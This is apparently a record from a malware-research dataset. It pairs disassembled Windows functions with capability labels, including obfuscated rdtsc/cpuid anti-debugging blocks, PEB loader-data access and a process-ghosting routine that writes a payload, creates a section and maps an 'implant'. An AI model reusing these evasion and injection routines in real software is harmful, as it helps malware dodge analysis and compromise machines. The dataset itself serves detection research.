joyce8/EMBER2024-capa huggingface dataset:
Function at 0xae0f95
Capabilities:
Execute anti-debugging instructions

Disassembly:
mov cl, bl
add esp, 0xd
call 0xae0d64
mov edi, ebx
xchg bx, bp
pop word [esp + 2]
mov edx, 0xb93c3ed8
jmp 0xae0dfa
neg bx
cpuid
mov dl, byte [esp + 4]
lea esp, [esp + 8]
cld
mov ax, 0x925a
jmp 0xae0e50
cpuid
mov byte [esp + 3], dl
mov dword [esp + 0xc], ecx
push dword [esp + 0x10]
mov byte [esp + 1], dh
add esp, 3
jmp 0xae0dac
neg ch
push edx
mov ax, 0xcc00
pop ecx
clc
neg dh
jmp 0xae0e8a
bswap edi
pop esi
push edi
cpuid
lea ebp, [esi*4]
pop si
jmp 0xae0e30
mov ah, dl
bt eax, esi
bsr ax, sp
mov al, byte [esp + 8]
mov dword [esp + 4], esp
push word [esp + 9]
jmp 0xae0f65
xchg dword [esp], ebp
mov byte [esp + 2], al
push dword [esp + 4]
mov dword [esp + 2], ebx
bsf di, cx
bswap edi
jmp 0xae0e61
lea edx, [esi*4]
xchg byte [esp + 9], ah
bt ebx, ebp
jmp 0xae0f03
bsr bp, cx
lea ebx, [eax + ebp]
xchg word [esp + 0xf], dx
neg cx
mov si, 0x9a12
mov dh, dl
jmp 0xae0ea1
xchg word [esp + 0xd], bp
xchg di, cx
bt si, sp
cld
jmp 0xae0f37
neg ebp
lea edi, [0xd13d1e0f]
mov bl, dl
xchg cx, si
or dh, 0x17
mov di, word [esp + 3]
jmp 0xae0ece
push dword [esp + 0x11]
xchg edx, edi
mov di, word [esp + 0xb]
cpuid
mov ecx, dword [esp + 0x11]
xchg word [esp + 0xe], dx
jmp 0xae0ee4
push word [esp]
mov eax, 0xbfb5e7d2
pop dword [esp + 2]
bsr bx, sp
bswap eax
pop ax
jmp 0xae0f7b
mov dword [esp + 0xd], edi
mov ebx, 0xb3baa585
mov byte [esp + 0xc], bh
lea ebx, [eax*4]
bsf ebx, edx
clc
jmp 0xae0f1b
neg bp
bts bx, dx
push dword [esp + 2]
xchg ch, al
push bx
mov bl, ch
jmp 0xae0eb7
and eax, 0x583c151
mov ch, al
ror ebx, cl
mov edi, 0x5ae40d2a
sbb dh, cl
pop dword [esp + 9]
jmp 0xae0ff8
bsr edi, edi
rdtsc
rdtsc
jmp 0xae0e16
sbb ebx, 0xd4c9c7d5
mov dl, cl
sbb ebp, 0x14946cdb
dec di
pop ebp
jmp 0xae0fce
bts bx, cx
setg ah
push dword [esp + 5]
mov al, 0x30
mov al, 0xe3
ror ax, cl
jmp 0xae0fa1
xchg word [esp + 2], si
mov si, bx
pop ebx
add esp, 2
pushfd
mov dh, byte [esp + 1]
jmp 0xae101e
xchg si, cx
mov ch, 0xf8
pop ecx
add esp, 0
pop ebx
mov edx, esp
jmp 0xae1008
pop di
rdtsc
mov dh, 0xa9
lea esp, [esp + 6]
mov al, 0x22
xchg esi, eax
jmp 0xae0fba
lea eax, [ecx + ebx]
mov ecx, edi
mov bx, si
mov dx, 0x6c5d
pushfd
mov dh, 0x18
jmp 0xae12a7
btc si, sp
mov ebx, 0x34f9fd4b
mov bx, sp
mov ah, cl
clc
push dword [esp + 3]
jmp 0xae0fe1
lea ebx, [esi + ebp]
bsr ebp, eax
neg si
rdtsc
clc
or edx, esi
clc
jmp 0xae106b
mov bp, word [esp + 3]
pop ebx
mov bh, dl
mov dx, ax
lea eax, [edi*4]
mov bp, 0x3cb7
jmp 0xae109a
setp ch
bsf edx, esi
mov edx, ebp
xchg dx, di
lea esp, [esp + 0x1c]
mov dx, 0x3da
jmp 0xae10ea
mov dword [esp], eax
sub esp, 0x1b
bswap ebp
bsf si, dx
setle ah
xchg byte [esp + 0x16], ch
jmp 0xae114f
Function at 0xae11af
Capabilities:
Execute anti-debugging instructions

Disassembly:
mov dword [esp], ebp
push word [esp + 4]
pop esi
xchg word [esp], bx
rcl edi, cl
jmp 0xae1191
neg edx
mov eax, 0x13f5db1d
inc dl
mov si, word [esp + 1]
mov byte [esp + 1], dh
xchg al, cl
jmp 0xae1164
mov bh, 0xf8
mov al, 0x14
sub esp, 0x1a
shr di, cl
btr ax, bp
cmc
jmp 0xae123a
mov bx, 0x7871
rdtsc
mov ax, word [esp + 2]
jmp 0xae117b
btc bx, sp
bsf esi, ebx
neg ebp
not bp
xchg edi, ecx
jmp 0xae1216
mov word [esp + 1], si
xchg word [esp], bp
mov ecx, 0xcccfb6cb
xchg dword [esp], ebx
pushfd
mov di, word [esp + 6]
jmp 0xae11bc
lea ebp, [ebp*4]
xchg dx, ax
xchg word [esp + 7], di
lea esp, [esp + 0x17]
mov cx, bx
xchg word [esp + 1], bp
jmp 0xae11d2
push dword [esp + 3]
pop si
push dword [esp + 5]
mov eax, esp
cmc
mov dh, 0xa8
jmp 0xae1269
xchg byte [esp + 0x18], al
mov dword [esp + 0xd], edi
cld
mov dh, bh
bswap ebp
pop word [esp + 3]
jmp 0xae11f9
bswap edi
clc
bsr dx, ax
add esp, 0xa
mov dh, byte [esp + 1]
sub esp, 1
jmp 0xae1281
mov ax, word [esp]
mov word [esp + 8], sp
mov ecx, 0xafd0f7f
rdtsc
std
mov word [esp + 0xb], sp
jmp 0xae124e
mov bl, ch
cld
xchg edx, ebx
cld
neg edi
mov bp, word [esp + 4]
jmp 0xae12d9
mov ax, word [esp]
pushfd
mov ax, 0x7138
mov bx, 0x159
mov byte [esp], bh
jmp 0xae12bf
neg di
mov byte [esp], cl
mov ebp, dword [esp + 2]
mov al, 0x98
mov dh, 0xe0
pop word [esp]
jmp 0xae12e7
lea esp, [esp]
bswap edx
not edi
mov al, 0xd6
pop ebp
bswap esi
jmp 0xae1290
xchg ebx, edi
xchg byte [esp], ch
pop di
xchg byte [esp], ch
mov ecx, dword [esp]
mov ah, 0x4e
jmp 0xae13ed
mov ebp, edx
mov cl, byte [esp + 3]
neg edx
pop cx
mov ch, 0x49
pop dx
jmp 0xae136e
mov cl, ah
mov dh, 0x85
mov edx, dword [esp]
mov ax, 0xa1f8
pushfd
xchg ch, bl
jmp 0xae1320
mov ah, byte [esp]
mov ah, byte [esp]
bts ebx, ebx
xchg si, di
mov bp, cx
mov cx, si
jmp 0xae1336
setle al
mov eax, 0x98053d48
mov edx, 0x92376bd7
dec bp
rdtsc
std
jmp 0xae13ba
neg edi
mov ecx, edx
dec ebp
std
mov di, word [esp]
and esi, edi
jmp 0xae135a
lea edx, [ecx + 0x50]
bswap ecx
cpuid
neg di
mov byte [esp], dh
mov eax, dword [esp]
jmp 0xae13c9
shl ax, cl
xchg byte [esp], al
dec al
rdtsc
bswap ebx
std
jmp 0xae13a4
mov ebx, 0x1f31e2c9
cpuid
sete ah
xchg byte [esp], bh
sub esi, 0x139ed56e
call fcn.00ae15a4
arpl dx, sp
jo 0xae13fc
loop 0xae13f4
mov dword [0x572435da], eax
mov esi, 0x51a171bb
ret 0xf96
mov ebx, 0xc251a171
xchg esi, eax
bsr ebp, edx
bsf cx, dx
add al, 0xa5
mov ebp, 0xbc0f66ea
retf 0xa504
xchg bx, dx
jmp 0xae1396
Function at 0xae14c9
Capabilities:
Execute anti-debugging instructions

Disassembly:
pop dword [esp + 5]
mov esi, dword [esp + 1]
mov bx, 0x5547
add esp, 0
cpuid
jmp 0xae1569
cmc
clc
mov ecx, dword [esp + 6]
xchg byte [esp], cl
xchg ebp, ebx
mov word [esp + 5], cx
jmp 0xae153e
mov ebx, dword [esp + 2]
std
add esp, 0x1a
cpuid
xchg si, cx
sub esp, 7
jmp 0xae1500
xchg word [esp + 2], si
mov dl, 0x92
lea esp, [esp + 2]
mov cx, 0xf5a1
jmp 0xae1580
rdtsc
or si, dx
mov di, ax
lea edi, [edi*4]
mov byte [esp + 4], ah
lea ecx, [ebp*4]
jmp 0xae1528
push cx
xchg esi, ebp
mov word [esp + 0x18], bp
lea edi, [ebx - 0x6516]
xchg edx, ecx
btr bx, ax
jmp 0xae1516
push word [esp + 2]
mov bl, 0xf8
not al
cpuid
pop dword [esp]
bsf ecx, ebx
jmp 0xae15c3
mov cx, word [esp]
xchg byte [esp], bl
sub esp, 0x1a
mov ebp, dword [esp + 4]
not edi
jmp 0xae166d
mov ax, 0xd8aa
inc bx
pop eax
inc dx
add esp, 0
neg al
jmp 0xae15ad
push si
mov dl, bh
rdtsc
pop word [esp + 9]
cpuid
pop word [esp + 0xe]
jmp 0xae1640
mov si, 0x9c08
mov ebp, dword [esp + 0x12]
mov word [esp + 0x12], ax
bsf bx, di
inc dl
bsf bp, si
jmp 0xae15d3
xchg word [esp + 4], di
mov bx, sp
call fcn.00ae1650
ficomp dword [edx - 0x38]
scasd eax, dword es:[edi]
pop edx
movsb byte es:[edi], byte [esi]
cmp edx, dword [edx]
lea esp, [esi - 0x77]
and al, 8
mov word [esp + 8], sp
push word [esp + 1]
pop word [esp + 1]
cmc
shl ecx, 0xb
jmp 0xae1610
xchg byte [esp + 3], ah
clc
xchg dh, ah
pop bx
setl ah
inc ax
jmp 0xae1626
inc esi
xchg edx, eax
neg cl
mov byte [esp + 6], bl
mov ecx, dword [esp + 0xb]
pop word [esp + 7]
jmp 0xae15f7

Function at 0xae1890
Capabilities:
Execute anti-debugging instructions

Disassembly:
mov si, di
cld
pop word [esp + 1]
mov word [esp + 3], bx
xchg bx, bp
cmp bl, ch
push word [esp + 5]
rdtsc
jmp 0xae16d1
btc bp, bp
xchg byte [esp + 6], dh
dec di
rdtsc
add esp, 0
xchg si, ax
jmp 0xae16f6
btc esi, ecx
clc
jmp 0xae175e

Function at 0xae3250
Capabilities:
Access peb ldr_data
Packed with generic packer
Parse pe header

Disassembly:
call int.00ae2076
lea esp, [esp + 2]
mov dword [esp + 0x44], edi
lea esp, [esp + 0x44]
jmp 0xae3270
pop word [esp]
mov word [esp], sp
jmp 0xae323a
mov eax, dword [eax]
jmp 0xae3294
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0x1c]
jmp 0xae325a
mov eax, dword [eax + 8]
push eax
jmp 0xae2071
Function at 0x402930
Capabilities:
Process ghostly hollowing
Set file attributes
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, dword [0x443004]
xor eax, ebp
mov dword [ebp - 8], eax
push ebx
push esi
push edi
mov ebx, edx
call fcn.00402660
mov esi, eax
test esi, esi
je 0x402adf
cmp esi, 0xffffffff
je 0x402adf
push 0xd
push 1
lea eax, [ebp - 9]
mov byte [ebp - 9], 1
push eax
lea eax, [ebp - 0x14]
xorps xmm0, xmm0
push eax
push esi
movlpd qword [ebp - 0x14], xmm0
call dword [sym.imp.ntdll.dll_NtSetInformationFile]
mov edi, eax
test edi, edi
jns 0x4029e3
push str.Setting_information_failed:
push 0x444590
call fcn.00404fc0
mov edx, eax
add esp, 8
test edx, edx
jne 0x40299e
xor ecx, ecx
jmp 0x4029a5
mov eax, dword [edx]
mov ecx, dword [eax + 4]
add ecx, edx
mov eax, dword [ecx + 0x14]
and eax, 0xfffff9ff
push 0x43ddd4
or eax, 0x800
push ecx
mov dword [ecx + 0x14], eax
mov ecx, edx
push edi
call fcn.00403050
add esp, 4
push eax
call fcn.00404fc0
add esp, 8
or eax, 0xffffffff
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.0040ebad
mov esp, ebp
pop ebp
ret
push str.___File_disposition_information_set_n
push 0x444590
call fcn.00404fc0
add esp, 8
lea eax, [ebp - 0x1c]
xorps xmm0, xmm0
movq qword [ebp - 0x1c], xmm0
push 0
push eax
push dword [ebp + 8]
lea eax, [ebp - 0x14]
push ebx
push eax
push 0
push 0
push 0
push esi
call dword [sym.imp.ntdll.dll_NtWriteFile]
test eax, eax
jns 0x402a5f
call dword [sym.imp.KERNEL32.dll_GetLastError]
push str.Failed_writing_payload__Error:
push 0x444678
mov esi, eax
call fcn.00404fc0
mov edx, eax
add esp, 8
test edx, edx
jne 0x402a40
xor ecx, ecx
jmp 0x402a47
mov eax, dword [edx]
mov ecx, dword [eax + 4]
add ecx, edx
mov eax, dword [ecx + 0x14]
and eax, 0xfffff9ff
or eax, 0x800
mov dword [ecx + 0x14], eax
mov ecx, edx
push esi
jmp 0x402b1b
push esi
push 0x1000000
push 2
push 0
push 0
push 0xf001f
lea eax, [ebp - 0x20]
mov dword [ebp - 0x20], 0
push eax
call dword [sym.imp.ntdll.dll_NtCreateSection]
mov edi, eax
test edi, edi
je 0x402ac4
push str.NtCreateSection_failed:
push 0x444678
call fcn.00404fc0
mov edx, eax
add esp, 8
test edx, edx
jne 0x402aa3
xor ecx, ecx
jmp 0x402aaa
mov eax, dword [edx]
mov ecx, dword [eax + 4]
add ecx, edx
mov eax, dword [ecx + 0x14]
and eax, 0xfffff9ff
or eax, 0x800
mov dword [ecx + 0x14], eax
mov ecx, edx
push edi
call fcn.00403050
jmp 0x402b20
push esi
call dword [sym.imp.ntdll.dll_NtClose]
mov eax, dword [ebp - 0x20]
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.0040ebad
mov esp, ebp
pop ebp
ret
push str.Failed_to_create_file
push 0x444678
call fcn.00404fc0
mov esi, eax
add esp, 8
test esi, esi
jne 0x402afb
xor ecx, ecx
jmp 0x402b02
mov eax, dword [esi]
mov ecx, dword [eax + 4]
add ecx, esi
mov eax, dword [ecx + 0x14]
and eax, 0xfffff3ff
or eax, 0x200
mov dword [ecx + 0x14], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
mov ecx, esi
call fcn.00402ec0
push eax
call fcn.00405270
mov ecx, dword [ebp - 8]
add esp, 4
xor ecx, ebp
or eax, 0xffffffff
pop edi
pop esi
pop ebx
call fcn.0040ebad
mov esp, ebp
pop ebp
ret
Function at 0x402b40
Capabilities:
Get file size
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [0x443004]
xor eax, ebp
mov dword [ebp - 8], eax
push ebx
push esi
push edi
mov esi, edx
call fcn.00402660
mov edi, eax
test edi, edi
je 0x402cb3
cmp edi, 0xffffffff
je 0x402cb3
push 0
lea eax, [ebp - 0x1c]
xorps xmm0, xmm0
push eax
push dword [ebp + 8]
lea eax, [ebp - 0x24]
movlpd qword [ebp - 0x24], xmm0
push esi
push eax
push 0
push 0
push 0
push edi
movq qword [ebp - 0x1c], xmm0
call dword [sym.imp.ntdll.dll_NtWriteFile]
test eax, eax
jns 0x402bdc
call dword [sym.imp.KERNEL32.dll_GetLastError]
push str.Failed_writing_payload__Error:
push 0x444678
mov esi, eax
call fcn.00404fc0
mov edx, eax
add esp, 8
test edx, edx
jne 0x402bbd
xor ecx, ecx
jmp 0x402bc4
mov eax, dword [edx]
mov ecx, dword [eax + 4]
add ecx, edx
mov eax, dword [ecx + 0x14]
and eax, 0xfffff9ff
or eax, 0x800
mov dword [ecx + 0x14], eax
mov ecx, edx
push esi
jmp 0x402cef
push edi
push 0x1000000
push 2
push 0
push 0
push 0xf001f
lea eax, [ebp - 0x28]
mov dword [ebp - 0x28], 0
push eax
call dword [sym.imp.ntdll.dll_NtCreateSection]
mov esi, eax
test esi, esi
je 0x402c44
push str.NtCreateSection_failed:
push 0x444678
call fcn.00404fc0
mov edx, eax
add esp, 8
test edx, edx
jne 0x402c20
xor ecx, ecx
jmp 0x402c27
mov eax, dword [edx]
mov ecx, dword [eax + 4]
add ecx, edx
mov eax, dword [ecx + 0x14]
and eax, 0xfffff9ff
or eax, 0x800
mov dword [ecx + 0x14], eax
mov ecx, edx
push esi
call fcn.00403050
jmp 0x402cf4
push str.___Overwriting_file_content_n
call fcn.004019e0
add esp, 4
lea eax, [ebp - 0x10]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov ebx, dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0
push 0
push 0
push edi
lea esi, [eax - 8]
call ebx
cmp esi, 4
jbe 0x402c98
push 0
lea eax, [ebp - 0xc]
push eax
push 4
push 0x43ddd4
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push 1
push 0
push 0
push edi
call ebx
sub esi, dword [ebp - 0xc]
cmp esi, 4
ja 0x402c73
push edi
call dword [sym.imp.ntdll.dll_NtClose]
mov eax, dword [ebp - 0x28]
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.0040ebad
mov esp, ebp
pop ebp
ret
push str.Failed_to_create_file
push 0x444678
call fcn.00404fc0
mov esi, eax
add esp, 8
test esi, esi
jne 0x402ccf
xor ecx, ecx
jmp 0x402cd6
mov eax, dword [esi]
mov ecx, dword [eax + 4]
add ecx, esi
mov eax, dword [ecx + 0x14]
and eax, 0xfffff3ff
or eax, 0x200
mov dword [ecx + 0x14], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
mov ecx, esi
call fcn.00402ec0
push eax
call fcn.00405270
mov ecx, dword [ebp - 8]
add esp, 4
xor ecx, ebp
or eax, 0xffffffff
pop edi
pop esi
pop ebx
call fcn.0040ebad
mov esp, ebp
pop ebp
ret
Function at 0x406400
Capabilities:
Map section object

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [0x443004]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push 0
push 0x80
push 3
push 0
push 0
push 0x80000000
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
test esi, esi
je 0x40651b
cmp esi, 0xffffffff
je 0x40651b
push esi
push 0x1000000
push 2
push 0
push 0
push 0xf001f
lea eax, [ebp - 0xc]
mov dword [ebp - 0xc], 0
push eax
xor bl, bl
call dword [sym.imp.ntdll.dll_NtCreateSection]
test eax, eax
je 0x406480
push str.NtCreateSection_failed
push 0x444678
call fcn.00404fc0
push eax
call fcn.00405270
add esp, 0xc
jmp 0x406482
mov bl, 1
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test bl, bl
je 0x40655f
push 2
push 0
push 1
lea eax, [ebp - 8]
mov dword [ebp - 0x10], 0
push eax
push 0
push 0
push 0
lea eax, [ebp - 0x10]
mov dword [ebp - 8], 0
push eax
push 0xffffffffffffffff
push dword [ebp - 0xc]
call dword [sym.imp.ntdll.dll_NtMapViewOfSection]
mov esi, eax
test esi, esi
je 0x406508
mov edx, str._ERROR__NtMapViewOfSection_failed__status_:
mov ecx, 0x444728
call fcn.00407e80
mov edx, eax
test edx, edx
jne 0x4064dd
xor ecx, ecx
jmp 0x4064e4
mov eax, dword [edx]
mov ecx, dword [eax + 4]
add ecx, edx
mov eax, dword [ecx + 0x14]
and eax, 0xfffff9ff
or eax, 0x800
mov dword [ecx + 0x14], eax
mov ecx, edx
push esi
call fcn.00406580
mov edx, 0x43ddd4
mov ecx, eax
call fcn.00407e80
mov eax, dword [ebp - 0x10]
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040ebad
mov esp, ebp
pop ebp
ret
push str.Couldnt_open_the_file_
push 0x444678
call fcn.00404fc0
mov edx, eax
add esp, 8
test edx, edx
jne 0x406537
xor ecx, ecx
jmp 0x40653e
mov eax, dword [edx]
mov ecx, dword [eax + 4]
add ecx, edx
mov eax, dword [ecx + 0x14]
and eax, 0xfffff9ff
or eax, 0x800
mov dword [ecx + 0x14], eax
mov ecx, edx
push esi
call fcn.00406800
push eax
call fcn.00405270
add esp, 4
mov ecx, dword [ebp - 4]
xor eax, eax
pop esi
xor ecx, ebp
pop ebx
call fcn.0040ebad
mov esp, ebp
pop ebp
ret
Function at 0x408b40
Capabilities:
Inspect section memory permissions

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, dword [0x443004]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
push str.___Overwriting_the_mapping_n
push 0x444590
mov dword [ebp - 0x18], edx
mov edi, ecx
call fcn.00404fc0
add esp, 8
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push edi
mov dword [ebp - 8], 0
call fcn.0040d230
mov esi, eax
add esp, 4
mov eax, dword [sym.imp.KERNEL32.dll_VirtualProtect]
test esi, esi
je 0x408bc8
lea ecx, [ebp - 8]
push ecx
push 4
push esi
push edi
call eax
test eax, eax
je 0x408c4a
push esi
push 0
push edi
call fcn.004130f0
add esp, 0xc
lea eax, [ebp - 8]
push eax
mov eax, dword [sym.imp.KERNEL32.dll_VirtualProtect]
push 2
push esi
push edi
call eax
test eax, eax
je 0x408c4a
mov eax, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea ecx, [ebp - 8]
push ecx
push 4
push ebx
push edi
call eax
test eax, eax
jne 0x408c5d
push 0x43ddd4
push ecx
push ebx
push ecx
push str.implant_size:
push 0x444590
call fcn.00404fc0
add esp, 0xc
mov ecx, eax
call fcn.00402ec0
add esp, 4
push eax
call fcn.00404fc0
add esp, 8
push 0x43ddd4
push ecx
push esi
push ecx
push str.prev_size:
push 0x444590
call fcn.00404fc0
add esp, 0xc
mov ecx, eax
call fcn.00402ec0
add esp, 4
push eax
call fcn.00404fc0
add esp, 8
cmp ebx, esi
jbe 0x408c4a
push str.____The_implant_is_too_big_for_the_target__n
push 0x444590
call fcn.00404fc0
add esp, 8
xor al, al
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040ebad
mov esp, ebp
pop ebp
ret
mov esi, dword [ebp - 0x18]
push ebx
push esi
push edi
call fcn.004125f0
add esp, 0xc
mov dword [ebp - 0xc], 0
lea eax, [ebp - 0xc]
push eax
mov eax, dword [sym.imp.KERNEL32.dll_VirtualProtect]
push 2
push 0x1000
push edi
call eax
test eax, eax
jne 0x408c90
xor cl, cl
jmp 0x408d59
push ebx
push esi
mov byte [ebp - 0xd], 1
call fcn.0040d510
mov ecx, eax
add esp, 8
xor eax, eax
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x14], eax
test ecx, ecx
je 0x408d56
push eax
push ebx
push esi
call fcn.0040d420
mov esi, eax
add esp, 0xc
test esi, esi
je 0x408d56
mov ecx, dword [esi + 0x24]
mov edx, ecx
and edx, 0xe0000000
cmp edx, 0xe0000000
jne 0x408cdf
mov ecx, 0x40
jmp 0x408d28
mov eax, ecx
and eax, 0x60000000
cmp eax, 0x60000000
jne 0x408cf4
mov ecx, 0x20
jmp 0x408d28
test ecx, 0x20000000
je 0x408d03
mov ecx, 0x20
jmp 0x408d28
mov eax, ecx
and eax, 0xc0000000
cmp eax, 0xc0000000
jne 0x408d18
mov ecx, 4
jmp 0x408d28
and ecx, 0x40000000
neg ecx
sbb ecx, ecx
and ecx, 0xfffffffe
add ecx, 4
mov eax, dword [esi + 0xc]
lea edx, [ebp - 0xc]
push edx
push ecx
push dword [esi + 8]
add eax, edi
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov esi, dword [ebp - 0x18]
neg eax
sbb al, al
and byte [ebp - 0xd], al
mov eax, dword [ebp - 0x14]
inc eax
mov dword [ebp - 0x14], eax
cmp eax, dword [ebp - 0x1c]
jb 0x408cb0
mov cl, byte [ebp - 0xd]
test cl, cl
mov ecx, dword [ebp - 4]
pop edi
setne al
xor ecx, ebp
pop esi
pop ebx
call fcn.0040ebad
mov esp, ebp
pop ebp
ret
Function at 0x409f50
Capabilities:
Accept command line arguments

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x42f768
mov eax, dword fs:[0]
push eax
sub esp, 0x3c
mov eax, dword [0x443004]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, edx
mov dword [ebp - 0x30], esi
mov ebx, ecx
push ebx
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
push eax
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
mov dword [ebp - 0x2c], eax
test eax, eax
je 0x40a110
mov eax, dword [ebx]
xor ecx, ecx
mov edx, 4
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.0040ec24
xor edi, edi
mov dword [esi], eax
add esp, 4
cmp dword [ebx], edi
jle 0x40a105
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x38], 0
mov dword [ebp - 0x34], 7
mov edx, dword [eax + edi*4]
xor eax, eax
mov word [ebp - 0x48], ax
mov eax, edx
lea esi, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x409fe1
sub eax, esi
lea ecx, [ebp - 0x48]
sar eax, 1
push eax
push edx
call fcn.00403bc0
push 0
push 0
push 0
mov dword [ebp - 4], 0
lea eax, [ebp - 0x48]
cmp dword [ebp - 0x34], 8
push 0
cmovae eax, dword [ebp - 0x48]
push 0xffffffffffffffff
push eax
push 0
push 0xfde9
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov esi, eax
mov dword [ebp - 0x18], 0
push 0
push esi
lea ecx, [ebp - 0x28]
mov dword [ebp - 0x14], 0xf
mov byte [ebp - 0x28], 0
call fcn.00403d10
cmp dword [ebp - 0x14], 0x10
lea ecx, [ebp - 0x28]
push 0
cmovae ecx, dword [ebp - 0x28]
lea eax, [ebp - 0x48]
cmp dword [ebp - 0x34], 8
push 0
cmovae eax, dword [ebp - 0x48]
push esi
push ecx
push 0xffffffffffffffff
push eax
push 0
push 0xfde9
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov dword [ebp - 4], 0xffffffff
mov edx, dword [ebp - 0x34]
cmp edx, 8
jb 0x40a0b0
mov ecx, dword [ebp - 0x48]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x40a0a6
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40a138
push edx
push ecx
call fcn.0040ebf3
add esp, 8
cmp dword [ebp - 0x14], 0x10
lea eax, [ebp - 0x28]
cmovae eax, dword [ebp - 0x28]
push eax
call fcn.004184e5
mov ecx, dword [ebp - 0x30]
add esp, 4
mov ecx, dword [ecx]
mov dword [ecx + edi*4], eax
mov edx, dword [ebp - 0x14]
cmp edx, 0x10
jb 0x40a0fc
mov ecx, dword [ebp - 0x28]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40a0f2
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40a138
push edx
push ecx
call fcn.0040ebf3
add esp, 8
inc edi
cmp edi, dword [ebx]
jl 0x409fc2
push dword [ebp - 0x2c]
call dword [sym.imp.KERNEL32.dll_LocalFree]
jmp 0x40a11c
mov dword [ebx], 0
mov dword [esi], 0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0040ebad
mov esp, ebp
pop ebp
ret
call fcn.00417be8
int3
Function at 0x40aad0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x14
cmp dword [ecx + 0x38], 0
push ebx
push esi
push edi
mov dword [esp + 0xc], ecx
je 0x40abb6
mov esi, dword [ebp + 0x10]
mov ebx, esi
mov edx, dword [ebp + 0xc]
mov edi, edx
mov eax, dword [ebp + 8]
mov dword [esp + 0x10], eax
test esi, esi
jl 0x40aba5
jg 0x40ab10
test edx, edx
je 0x40aba5
nop dword [eax]
call fcn.00404e10
mov esi, eax
mov eax, edx
mov dword [esp + 0x14], eax
test eax, eax
jl 0x40ab64
jg 0x40ab27
test esi, esi
je 0x40ab64
cmp ebx, eax
jg 0x40ab37
jl 0x40ab31
cmp edi, esi
jae 0x40ab37
mov esi, edi
mov dword [esp + 0x14], ebx
mov ecx, dword [esp + 0xc]
mov eax, dword [esp + 0x10]
push esi
push eax
mov eax, dword [ecx + 0x20]
push dword [eax]
call fcn.004125f0
mov ecx, dword [esp + 0x18]
add esp, 0xc
sub edi, esi
sbb ebx, dword [esp + 0x14]
mov eax, dword [ecx + 0x30]
sub dword [eax], esi
mov eax, dword [ecx + 0x20]
add dword [eax], esi
jmp 0x40ab89
mov ecx, dword [esp + 0xc]
mov eax, dword [esp + 0x10]
mov edx, dword [ecx]
movzx eax, byte [eax]
push eax
call dword [edx + 0xc]
cmp eax, 0xffffffff
je 0x40ab9f
mov ecx, dword [esp + 0xc]
add edi, 0xffffffff
mov esi, 1
adc ebx, 0xffffffff
add dword [esp + 0x10], esi
test ebx, ebx
jg 0x40ab10
jl 0x40ab9f
test edi, edi
jne 0x40ab10
mov edx, dword [ebp + 0xc]
mov esi, dword [ebp + 0x10]
sub edx, edi
mov eax, edx
sbb esi, ebx
mov edx, esi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
mov eax, dword [ecx + 0x20]
mov esi, dword [ebp + 0xc]
mov edi, dword [ebp + 0x10]
mov dword [esp + 0x18], esi
mov eax, dword [eax]
mov dword [esp + 0x1c], edi
mov dword [esp + 0x10], eax
test eax, eax
je 0x40abd8
mov eax, dword [ecx + 0x30]
mov eax, dword [eax]
jmp 0x40abda
xor eax, eax
cdq
mov ebx, eax
mov eax, edx
mov dword [esp + 0x14], eax
test edi, edi
jl 0x40ac58
jg 0x40abed
test esi, esi
je 0x40ac58
test eax, eax
jl 0x40ac32
jg 0x40abf7
test ebx, ebx
je 0x40ac32
cmp edi, eax
jg 0x40ac07
jl 0x40ac01
cmp esi, ebx
jae 0x40ac07
mov ebx, esi
mov dword [esp + 0x14], edi
push ebx
push dword [ebp + 8]
push dword [esp + 0x18]
call fcn.004125f0
mov ecx, dword [esp + 0x18]
add esp, 0xc
